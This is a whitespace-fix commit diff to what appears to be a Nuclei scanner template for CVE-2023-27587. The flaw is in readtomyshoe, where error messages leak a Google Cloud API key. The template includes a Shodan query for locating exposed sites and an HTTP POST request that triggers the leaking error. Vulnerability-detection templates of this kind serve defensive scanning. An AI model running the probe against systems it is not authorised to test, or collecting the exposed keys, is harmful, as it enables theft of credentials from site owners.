fix trailing-spaces

patch-1
Vagner Rodrigues 2023-03-21 17:25:10 -03:00
parent c6f3f96fd4
commit e18ff486ec
1 changed files with 6 additions and 6 deletions

View File

@ -1,13 +1,13 @@
id: CVE-2023-27587 id: CVE-2023-27587
info: info:
name: readtomyshoe - Google Cloud API Disclosure name: readtomyshoe - Google Cloud API Disclosure
author: vagnerd author: vagnerd
severity: high severity: high
description: | description: |
If an error occurs when adding an article, the website shows the user an error message. If the error originates from the Google Cloud TTS request, then it will include the full URL of the request. The request URL contains the Google Cloud API key. If an error occurs when adding an article, the website shows the user an error message. If the error originates from the Google Cloud TTS request, then it will include the full URL of the request. The request URL contains the Google Cloud API key.
reference: reference:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27587 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27587
- https://github.com/rozbb/readtomyshoe/security/advisories/GHSA-23g5-r34j-mr8g - https://github.com/rozbb/readtomyshoe/security/advisories/GHSA-23g5-r34j-mr8g
- https://github.com/sec-fx/CVE-2023-27587-PoC - https://github.com/sec-fx/CVE-2023-27587-PoC
classification: classification:
@ -16,7 +16,7 @@ info:
cve-id: CVE-2023-27587 cve-id: CVE-2023-27587
cwe-id: CWE-209 cwe-id: CWE-209
metadata: metadata:
shodan-query: http.html:"readtomyshoe" || title:"ReadToMyShoe" shodan-query: http.html:"readtomyshoe" || title:"ReadToMyShoe"
verified: "true" verified: "true"
tags: cve,cve2023,leak,debug,readtomyshoe tags: cve,cve2023,leak,debug,readtomyshoe
@ -26,7 +26,7 @@ requests:
POST /api/add-article-by-text HTTP/1.1 POST /api/add-article-by-text HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
Accept-Encoding: gzip, deflate Accept-Encoding: gzip, deflate
Content-Type: application/json Content-Type: application/json
{ {
"title":"Kernsicherheitstest", "title":"Kernsicherheitstest",
@ -50,6 +50,6 @@ requests:
status: status:
- 500 - 500
- type: dsl - type: dsl
dsl: dsl:
- '!contains((body), ''https://texttospeech.googleapis.com/v1beta1/text:synthesize?key=REDACTED'')' - '!contains((body), ''https://texttospeech.googleapis.com/v1beta1/text:synthesize?key=REDACTED'')'